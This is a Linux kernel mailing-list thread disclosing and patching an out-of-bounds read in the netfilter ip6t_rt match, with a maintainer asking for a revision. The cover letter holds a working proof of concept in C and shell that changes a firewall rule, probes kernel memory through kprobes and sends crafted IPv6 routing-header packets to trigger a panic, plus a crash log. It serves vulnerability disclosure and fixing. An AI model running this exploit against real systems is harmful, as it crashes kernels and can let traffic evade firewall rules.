[PATCH nf 0/1] netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read

[PATCH nf 0/1] netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read

[Ren Wei]

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv6/netfilter/ip6t_rt.c. The bug is reachable by an unprivileged user via user and network namespaces (requiring CAP_NET_ADMIN in the local namespace).
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

In net/ipv6/netfilter/ip6t_rt.c, rt_mt6_check() permits rules to be configured with rtinfo->addrnr == 0.
When evaluating IPv6 packets with IP6T_RT_FST_NSTRICT (non-strict routing match), rt_mt6() iterates over the packet's routing addresses and compares each candidate address with rtinfo->addrs[i] before checking whether i has reached addrnr:

    if (ipv6_addr_equal(ap, &rtinfo->addrs[i])) {
        i++;
    }
    if (i == rtinfo->addrnr)
        break;

When addrnr is 0, if the first packet routing address matches rtinfo->addrs[0], i is incremented to 1. Because i is now strictly greater than addrnr (0), the loop termination condition (i == rtinfo->addrnr) will never be satisfied.

If a crafted IPv6 packet contains consecutive matching routing addresses, i will advance past IP6T_RT_HOPS (16). The subsequent call to ipv6_addr_equal() reads 16 bytes from rtinfo->addrs[16], which extends beyond struct ip6t_rt into the adjacent xtables object. This results in an out-of-bounds memory read, triggering UBSAN out-of-bounds warnings or kernel panics.

Additionally, this logic flaw causes rt_mt6() to return false when the first address matches, allowing packets to bypass firewall rules intended to match an empty non-strict sequence.

Reproducer:

    make
    ./poc.sh

    (or manually: unshare -Urn ./poc)

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/in6.h>
#include <linux/netfilter/x_tables.h>
#include <linux/netfilter_ipv6/ip6_tables.h>
#include <linux/netfilter_ipv6/ip6t_rt.h>
#include <linux/ipv6.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define TABLE_NAME "raw"
#define PROBE_ADDR "::1"
#define RULE_ADDR_COUNT 16
#define TRIGGER_ADDR_COUNT 17

struct table_blob {
	struct ip6t_getinfo info;
	struct ip6t_get_entries *entries;
	socklen_t entries_len;
};

static void die_perror(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void die_msg(const char *what)
{
	fprintf(stderr, "%s\n", what);
	exit(EXIT_FAILURE);
}

static int open_ctl_socket(void)
{
	int fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);

	if (fd < 0)
		die_perror("socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)");
	return fd;
}

static void run_cmd(const char *cmd)
{
	int ret = system(cmd);

	if (ret != 0) {
		fprintf(stderr, "command failed (%d): %s\n", ret, cmd);
		exit(EXIT_FAILURE);
	}
}

static struct table_blob fetch_table(int fd)
{
	struct table_blob blob;
	socklen_t len = sizeof(blob.info);

	memset(&blob, 0, sizeof(blob));
	strncpy(blob.info.name, TABLE_NAME, sizeof(blob.info.name) - 1);

	if (getsockopt(fd, IPPROTO_IPV6, IP6T_SO_GET_INFO, &blob.info, &len) < 0)
		die_perror("getsockopt(IP6T_SO_GET_INFO)");

	blob.entries_len = sizeof(*blob.entries) + blob.info.size;
	blob.entries = calloc(1, blob.entries_len);
	if (!blob.entries)
		die_perror("calloc(entries)");

	strncpy(blob.entries->name, TABLE_NAME, sizeof(blob.entries->name) - 1);
	blob.entries->size = blob.info.size;
	len = blob.entries_len;
	if (getsockopt(fd, IPPROTO_IPV6, IP6T_SO_GET_ENTRIES, blob.entries, &len) < 0)
		die_perror("getsockopt(IP6T_SO_GET_ENTRIES)");

	return blob;
}

static void free_table(struct table_blob *blob)
{
	free(blob->entries);
	memset(blob, 0, sizeof(*blob));
}

static struct ip6t_entry *find_rt_rule(struct table_blob *blob,
				       struct xt_entry_match **match_out)
{
	unsigned int off;

	for (off = 0; off < blob->info.size; ) {
		struct ip6t_entry *entry = (void *)blob->entries->entrytable + off;
		unsigned int i;

		for (i = sizeof(*entry); i < entry->target_offset; ) {
			struct xt_entry_match *match = (void *)entry + i;

			if (strcmp(match->u.user.name, "rt") == 0) {
				if (match_out)
					*match_out = match;
				return entry;
			}
			i += match->u.match_size;
		}
		off += entry->next_offset;
	}
	return NULL;
}

static uint64_t current_rule_packets(int fd, uint8_t *addrnr_out)
{
	struct table_blob blob = fetch_table(fd);
	struct xt_entry_match *match = NULL;
	struct ip6t_entry *entry = find_rt_rule(&blob, &match);
	struct ip6t_rt *rtinfo;
	uint64_t packets;

	if (!entry || !match)
		die_msg("rt rule not found in table");

	rtinfo = (struct ip6t_rt *)match->data;
	if (addrnr_out)
		*addrnr_out = rtinfo->addrnr;
	packets = (uint64_t)entry->counters.pcnt;
	free_table(&blob);
	return packets;
}

static void show_rule_state(int fd)
{
	struct table_blob blob = fetch_table(fd);
	struct xt_entry_match *match = NULL;
	struct ip6t_entry *entry = find_rt_rule(&blob, &match);
	struct ip6t_rt *rtinfo;

	if (!entry || !match)
		die_msg("rt rule not found in table");

	rtinfo = (struct ip6t_rt *)match->data;
	printf("table=%s size=%u num_entries=%u rule_packets=%llu match_size=%u addrnr=%u flags=0x%02x invflags=0x%02x\n",
	       TABLE_NAME, blob.info.size, blob.info.num_entries,
	       (unsigned long long)entry->counters.pcnt, match->u.match_size,
	       rtinfo->addrnr, rtinfo->flags, rtinfo->invflags);
	free_table(&blob);
}

static char *build_addr_list(void)
{
	char *buf;
	size_t len = RULE_ADDR_COUNT * (strlen(PROBE_ADDR) + 1);
	unsigned int i;

	buf = calloc(1, len + 1);
	if (!buf)
		die_perror("calloc(addr list)");

	for (i = 0; i < RULE_ADDR_COUNT; i++) {
		strcat(buf, PROBE_ADDR);
		if (i + 1 != RULE_ADDR_COUNT)
			strcat(buf, ",");
	}

	return buf;
}

static void install_base_rule(void)
{
	char *addr_list = build_addr_list();
	char cmd[1024];

	run_cmd("/usr/sbin/ip link set lo up");
	run_cmd("/usr/sbin/ip6tables-legacy -t raw -F");
	snprintf(cmd, sizeof(cmd),
		 "/usr/sbin/ip6tables-legacy -t raw -A OUTPUT -m rt --rt-type 0 "
		 "--rt-0-addrs '%s' --rt-0-not-strict -j ACCEPT",
		 addr_list);
	run_cmd(cmd);
	free(addr_list);
}

static void mutate_rule(int fd)
{
	struct table_blob blob = fetch_table(fd);
	struct xt_entry_match *match = NULL;
	struct ip6t_entry *entry = find_rt_rule(&blob, &match);
	struct ip6t_rt *rtinfo;
	size_t repl_len;
	struct ip6t_replace *repl;
	struct xt_counters *counters;
	struct table_blob after;
	struct xt_entry_match *after_match = NULL;
	struct ip6t_entry *after_entry;
	struct ip6t_rt *after_rtinfo;

	if (!entry || !match)
		die_msg("rt rule not found before mutation");

	rtinfo = (struct ip6t_rt *)match->data;
	printf("[*] before replace: flags=0x%02x invflags=0x%02x addrnr=%u match_size=%u packets=%llu\n",
	       rtinfo->flags, rtinfo->invflags, rtinfo->addrnr,
	       match->u.match_size, (unsigned long long)entry->counters.pcnt);

	rtinfo->addrnr = 0;

	repl_len = sizeof(*repl) + blob.info.size;
	repl = calloc(1, repl_len);
	counters = calloc(blob.info.num_entries, sizeof(*counters));
	if (!repl || !counters)
		die_perror("calloc(replace)");

	strncpy(repl->name, TABLE_NAME, sizeof(repl->name) - 1);
	repl->valid_hooks = blob.info.valid_hooks;
	repl->num_entries = blob.info.num_entries;
	repl->size = blob.info.size;
	memcpy(repl->hook_entry, blob.info.hook_entry, sizeof(repl->hook_entry));
	memcpy(repl->underflow, blob.info.underflow, sizeof(repl->underflow));
	repl->num_counters = blob.info.num_entries;
	repl->counters = counters;
	memcpy(repl->entries, blob.entries->entrytable, blob.info.size);

	if (setsockopt(fd, IPPROTO_IPV6, IP6T_SO_SET_REPLACE, repl, repl_len) < 0)
		die_perror("setsockopt(IP6T_SO_SET_REPLACE)");

	after = fetch_table(fd);
	after_entry = find_rt_rule(&after, &after_match);
	if (!after_entry || !after_match)
		die_msg("rt rule missing after replace");

	after_rtinfo = (struct ip6t_rt *)after_match->data;
	printf("[*] after replace:  flags=0x%02x invflags=0x%02x addrnr=%u packets=%llu\n",
	       after_rtinfo->flags, after_rtinfo->invflags, after_rtinfo->addrnr,
	       (unsigned long long)after_entry->counters.pcnt);
	if (after_rtinfo->addrnr != 0)
		die_msg("addrnr was not mutated to zero");

	free_table(&after);
	free(counters);
	free(repl);
	free_table(&blob);
}

static void set_panic_on_warn(void)
{
	FILE *fp = fopen("/proc/sys/kernel/panic_on_warn", "w");

	if (!fp)
		return;
	fputs("1\n", fp);
	fclose(fp);
}

static void send_rthdr_packet_from_list(const struct in6_addr *addrs,
					unsigned int addr_count)
{
	struct sockaddr_in6 dst;
	struct ipv6_rt_hdr *rh;
	unsigned char *packet;
	size_t payload_len = sizeof(struct rt0_hdr) +
			     addr_count * sizeof(struct in6_addr);
	size_t packet_len = sizeof(struct ipv6hdr) + payload_len;
	uint32_t vtc_flow;
	uint16_t plen;
	int fd;
	int on = 1;
	unsigned int i;

	fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
	if (fd < 0)
		die_perror("socket(sender)");

	if (setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &on, sizeof(on)) < 0)
		die_perror("setsockopt(IPV6_HDRINCL)");

	packet = calloc(1, packet_len);
	if (!packet)
		die_perror("calloc(packet)");

	vtc_flow = htonl(6U << 28);
	memcpy(packet, &vtc_flow, sizeof(vtc_flow));
	plen = htons(payload_len);
	memcpy(packet + 4, &plen, sizeof(plen));
	packet[6] = IPPROTO_ROUTING;
	packet[7] = 64;
	packet[23] = 1;
	packet[39] = 1;

	rh = (struct ipv6_rt_hdr *)(packet + sizeof(struct ipv6hdr));
	rh->nexthdr = IPPROTO_NONE;
	rh->hdrlen = addr_count * 2;
	rh->type = 0;
	rh->segments_left = 0;

	for (i = 0; i < addr_count; i++) {
		memcpy(packet + sizeof(struct ipv6hdr) + sizeof(struct rt0_hdr) +
		       i * sizeof(addrs[i]),
		       &addrs[i], sizeof(addrs[i]));
	}

	memset(&dst, 0, sizeof(dst));
	dst.sin6_family = AF_INET6;
	dst.sin6_addr = in6addr_loopback;

	if (sendto(fd, packet, packet_len, 0,
		   (struct sockaddr *)&dst, sizeof(dst)) < 0)
		die_perror("sendto(raw ipv6 hdrincl)");

	free(packet);
	close(fd);
}

static void send_rthdr_packet(unsigned int addr_count)
{
	struct in6_addr *addrs;
	unsigned int i;

	addrs = calloc(addr_count, sizeof(*addrs));
	if (!addrs)
		die_perror("calloc(default addrs)");

	for (i = 0; i < addr_count; i++) {
		if (inet_pton(AF_INET6, PROBE_ADDR, &addrs[i]) != 1)
			die_msg("inet_pton(PROBE_ADDR) failed");
	}

	send_rthdr_packet_from_list(addrs, addr_count);
	free(addrs);
}

static void send_rthdr_packet_from_file(const char *path)
{
	struct stat st;
	struct in6_addr *addrs;
	FILE *fp;
	size_t count;

	if (stat(path, &st) != 0)
		die_perror("stat(address file)");
	if (st.st_size == 0 || (st.st_size % sizeof(struct in6_addr)) != 0)
		die_msg("address file length must be a non-zero multiple of 16");

	count = st.st_size / sizeof(struct in6_addr);
	addrs = calloc(count, sizeof(*addrs));
	if (!addrs)
		die_perror("calloc(file addrs)");

	fp = fopen(path, "rb");
	if (!fp)
		die_perror("fopen(address file)");
	if (fread(addrs, sizeof(*addrs), count, fp) != count)
		die_perror("fread(address file)");
	fclose(fp);

	send_rthdr_packet_from_list(addrs, count);
	free(addrs);
}

int main(int argc, char **argv)
{
	int ctl_fd;
	uint8_t addrnr;
	uint64_t before;
	uint64_t after;
	char lockfile[128];
	unsigned int send_count = TRIGGER_ADDR_COUNT;

	if (geteuid() != 0)
		die_msg("run as root or inside a user namespace with CAP_NET_ADMIN/CAP_NET_RAW");

	snprintf(lockfile, sizeof(lockfile), "/tmp/xtables.lock.%ld", (long)getpid());
	if (setenv("XTABLES_LOCKFILE", lockfile, 1) != 0)
		die_perror("setenv(XTABLES_LOCKFILE)");

	if (argc >= 2 && strcmp(argv[1], "send") == 0) {
		if (argc >= 3)
			send_count = strtoul(argv[2], NULL, 0);
		send_rthdr_packet(send_count);
		return 0;
	}

	if (argc >= 3 && strcmp(argv[1], "sendfile") == 0) {
		send_rthdr_packet_from_file(argv[2]);
		return 0;
	}

	ctl_fd = open_ctl_socket();

	if (argc >= 2 && strcmp(argv[1], "show") == 0) {
		show_rule_state(ctl_fd);
		close(ctl_fd);
		return 0;
	}

	if (argc >= 2 && strcmp(argv[1], "install") == 0) {
		install_base_rule();
		show_rule_state(ctl_fd);
		close(ctl_fd);
		return 0;
	}

	if (argc >= 2 && strcmp(argv[1], "mutate") == 0) {
		mutate_rule(ctl_fd);
		show_rule_state(ctl_fd);
		close(ctl_fd);
		return 0;
	}

	printf("[*] installing a valid IPv6 raw OUTPUT rt rule via ip6tables-legacy\n");
	install_base_rule();
	before = current_rule_packets(ctl_fd, &addrnr);
	printf("[*] probe with valid rule: addrnr=%u packets_before=%llu\n",
	       addrnr, (unsigned long long)before);
	send_rthdr_packet(TRIGGER_ADDR_COUNT);
	after = current_rule_packets(ctl_fd, &addrnr);
	printf("[*] probe result:     addrnr=%u packets_after=%llu\n",
	       addrnr, (unsigned long long)after);
	if (after != before + 1)
		die_msg("routing-header probe did not hit the valid rt rule");

	printf("[*] mutating rt addrnr from 16 to 0 through IP6T_SO_SET_REPLACE\n");
	mutate_rule(ctl_fd);
	set_panic_on_warn();

	printf("[*] triggering malformed rule with a %u-address RH0 packet\n",
	       TRIGGER_ADDR_COUNT);
	fflush(stdout);
	send_rthdr_packet(TRIGGER_ADDR_COUNT);

	printf("[-] packet sent but no crash was observed\n");
	close(ctl_fd);
	return EXIT_FAILURE;
}


------BEGIN poc.sh------

#!/bin/sh
set -eu

PATH=/usr/sbin:/usr/bin:/sbin:/bin
PROG="${PROG:-./poc}"
TRACE=/sys/kernel/debug/tracing
EVENT=rtprobe
ADDR_FILE=/tmp/rt_addrs.bin
QCOUNT=60

cleanup() {
	if [ -e "$TRACE/events/kprobes/$EVENT/enable" ]; then
		echo 0 > "$TRACE/events/kprobes/$EVENT/enable" 2>/dev/null || true
	fi
	if [ -e "$TRACE/kprobe_events" ] && grep -q "$EVENT" "$TRACE/kprobe_events" 2>/dev/null; then
		echo "-:$EVENT" > "$TRACE/kprobe_events" 2>/dev/null || true
	fi
}

trap cleanup EXIT

if [ "$(id -u)" -ne 0 ]; then
	echo "run as root" >&2
	exit 1
fi

if [ ! -x "$PROG" ]; then
	echo "helper binary not found: $PROG" >&2
	exit 1
fi

args=
i=0
while [ "$i" -lt "$QCOUNT" ]; do
	off=$((276 + i * 8))
	args="$args q$i=+$off(+8(%si)):x64"
	i=$((i + 1))
done

echo "[*] installing the legacy raw table rule and mutating addrnr to zero"
"$PROG" install >/tmp/poc_rt_setup.log 2>&1
"$PROG" mutate >>/tmp/poc_rt_setup.log 2>&1
sleep 1

echo "[*] sampling the in-kernel bytes after addrs[15] via kprobe tracing"
echo > "$TRACE/trace"
echo "p:$EVENT rt_mt6$args" > "$TRACE/kprobe_events"
echo 1 > "$TRACE/events/kprobes/$EVENT/enable"
"$PROG" send 17
sleep 1

trace_line=$(grep 'q0=0x2800000000' "$TRACE/trace" | head -n 1 || true)
if [ -z "$trace_line" ]; then
	echo "failed to capture the mutated rt rule trace line" >&2
	cat "$TRACE/trace" >&2 || true
	exit 1
fi

python3 - "$trace_line" "$ADDR_FILE" <<'PY'
import re
import struct
import sys

line = sys.argv[1]
path = sys.argv[2]
qs = {}
for idx, value in re.findall(r'q(\d+)=0x([0-9a-fA-F]+)', line):
    qs[int(idx)] = int(value, 16)

for idx in range(60):
    if idx not in qs:
        raise SystemExit(f"missing q{idx} in trace line")

blob = bytearray((b'\x00' * 15 + b'\x01') * 16)
for idx in range(0, 60, 2):
    blob += struct.pack('<Q', qs[idx])
    blob += struct.pack('<Q', qs[idx + 1])
blob += b'\x00' * 16

with open(path, 'wb') as fp:
    fp.write(blob)

print(f"generated {len(blob) // 16} routing addresses in {path}")
PY

cleanup
trap - EXIT

echo 1 > /proc/sys/kernel/panic_on_warn
echo "[*] sending the extended RH0 packet that walks rt_mt6 past the table allocation"
exec "$PROG" sendfile "$ADDR_FILE"


------END poc.sh--------


----BEGIN crash log----

[ 2153.929267][T12258] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
[ 2153.930471][T12258] CPU: 1 UID: 0 PID: 12258 Comm: poc Not tainted 6.12.95 #2
[ 2153.931467][T12258] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 2153.933097][T12258] Call Trace:
[ 2153.933566][T12258]  <TASK>
[ 2153.934003][T12258]  panic+0x533/0x610
[ 2153.934592][T12258]  ? __pfx_panic+0x10/0x10
[ 2153.935229][T12258]  ? __pfx__printk+0x10/0x10
[ 2153.935937][T12258]  check_panic_on_warn+0x61/0x80
[ 2153.936637][T12258]  __ubsan_handle_out_of_bounds+0xe7/0x100
[ 2153.937448][T12258]  rt_mt6+0xbd8/0xdc0
[ 2153.938027][T12258]  ? __pfx_rt_mt6+0x10/0x10
[ 2153.938510][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.939123][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.939725][T12258]  ? __lock_acquire+0xc96/0x3c40
[ 2153.940301][T12258]  ip6t_do_table+0x7bd/0x1d90
[ 2153.940865][T12258]  ? __pfx___lock_acquire+0x10/0x10
[ 2153.941458][T12258]  ? __pfx_ip6t_do_table+0x10/0x10
[ 2153.942022][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.942642][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.943242][T12258]  ? rcu_is_watching+0x12/0xc0
[ 2153.943770][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.944369][T12258]  ? trace_lock_acquire+0x145/0x1c0
[ 2153.944959][T12258]  nf_hook_slow+0xa9/0x1f0
[ 2153.945455][T12258]  rawv6_sendmsg+0x26fd/0x3b60
[ 2153.946020][T12258]  ? __pfx_rawv6_sendmsg+0x10/0x10
[ 2153.946590][T12258]  ? tomoyo_check_inet_address+0x3b0/0x650
[ 2153.947237][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.947855][T12258]  ? __pfx_dst_output+0x10/0x10
[ 2153.948374][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.949030][T12258]  ? aa_sk_perm+0x1d8/0x8d0
[ 2153.949524][T12258]  ? __pfx_lock_release+0x10/0x10
[ 2153.950132][T12258]  ? __sys_sendto+0x32e/0x3a0
[ 2153.950640][T12258]  __sys_sendto+0x32e/0x3a0
[ 2153.951131][T12258]  ? __pfx___sys_sendto+0x10/0x10
[ 2153.951782][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.952377][T12258]  ? __sys_setsockopt+0x144/0x1c0
[ 2153.952948][T12258]  __x64_sys_sendto+0xe0/0x1c0
[ 2153.953460][T12258]  ? do_syscall_64+0x93/0x270
[ 2153.953971][T12258]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2153.954567][T12258]  ? lockdep_hardirqs_on+0x7b/0x110
[ 2153.955122][T12258]  do_syscall_64+0xc7/0x270
[ 2153.955631][T12258]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 2153.956272][T12258] RIP: 0033:0x7f7b5014e687
[ 2153.956757][T12258] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 2153.958028][T12258] RSP: 002b:00007ffef4b78b20 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 2153.958533][T12258] RAX: ffffffffffffffda RBX: 00007f7b500bc740 RCX: 00007f7b5014e687
[ 2153.959028][T12258] RDX: 0000000000000320 RSI: 0000560105516950 RDI: 0000000000000003
[ 2153.959509][T12258] RBP: 000000000000002f R08: 00007ffef4b78b90 R09: 000000000000001c
[ 2153.959998][T12258] R10: 0000000000000000 R11: 0000000000000202 R12: 00000000000002f0
[ 2153.960475][T12258] R13: 000000000000f802 R14: 0000560105516950 R15: 0000000000000320
[ 2153.961000][T12258]  </TASK>
[ 2153.961498][T12258] Kernel Offset: disabled
[ 2153.961890][T12258] Rebooting in 86400 seconds..


-----END crash log-----

Best regards,
Luxiao Xu
Ren Wei

Luxiao Xu (1):
  netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds
    read

 net/ipv6/netfilter/ip6t_rt.c | 6 ++++++
 1 file changed, 6 insertions(+)

-- 
2.43.0

[PATCH nf 1/1] netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read

[Ren Wei]

From: Luxiao Xu <rakukuip@gmail.com>

rt_mt6_check() allows rules to be configured with rtinfo->addrnr == 0.
In the IP6T_RT_FST_NSTRICT path, rt_mt6() enters the routing-address loop
and compares each packet address with rtinfo->addrs[i] before checking
whether i has already reached addrnr.

When addrnr is 0, if the first packet address matches rtinfo->addrs[0],
i is incremented to 1. Because i is now strictly greater than addrnr (0),
the loop termination condition (i == rtinfo->addrnr) is bypassed and can
never be met.

A crafted IPv6 packet with consecutive matching routing header addresses
can advance i up to and beyond IP6T_RT_HOPS (16). The subsequent call to
ipv6_addr_equal() accesses rtinfo->addrs[i], resulting in an out-of-bounds
read past struct ip6t_rt into adjacent xtables memory, triggering UBSAN /
KASAN warnings and kernel panics.

Additionally, this logic error causes packets to fail rule matching when
the first address matches, allowing traffic to evade firewall rules.

Fix this by properly validating rtinfo->addrnr in rt_mt6_check() /
handling zero addrnr in rt_mt6().

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/ipv6/netfilter/ip6t_rt.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/net/ipv6/netfilter/ip6t_rt.c b/net/ipv6/netfilter/ip6t_rt.c
index 8051425213dd..cab169b5563a 100644
--- a/net/ipv6/netfilter/ip6t_rt.c
+++ b/net/ipv6/netfilter/ip6t_rt.c
@@ -162,6 +162,12 @@ static int rt_mt6_check(const struct xt_mtchk_param *par)
 		pr_info_ratelimited("too many addresses specified\n");
 		return -EINVAL;
 	}
+
+	if ((rtinfo->flags & IP6T_RT_FST_MASK) && !rtinfo->addrnr) {
+		pr_info_ratelimited("address list match requested but addrnr is 0\n");
+		return -EINVAL;
+	}
+
 	if ((rtinfo->flags & (IP6T_RT_RES | IP6T_RT_FST_MASK)) &&
 	    (!(rtinfo->flags & IP6T_RT_TYP) ||
 	     (rtinfo->rt_type != 0) ||
-- 
2.43.0

Re: [PATCH nf 0/1] netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read

[Florian Westphal]

Ren Wei <weir@nebusec.ai> wrote:
> In net/ipv6/netfilter/ip6t_rt.c, rt_mt6_check() permits rules to be configured with rtinfo->addrnr == 0.
> When evaluating IPv6 packets with IP6T_RT_FST_NSTRICT (non-strict routing match), rt_mt6() iterates over the packet's routing addresses and compares each candidate address with rtinfo->addrs[i] before checking whether i has reached addrnr:
> 
>     if (ipv6_addr_equal(ap, &rtinfo->addrs[i])) {
>         i++;
>     }
>     if (i == rtinfo->addrnr)
>         break;

Please send a v2 that also puts a stop to this backwards loop
termination.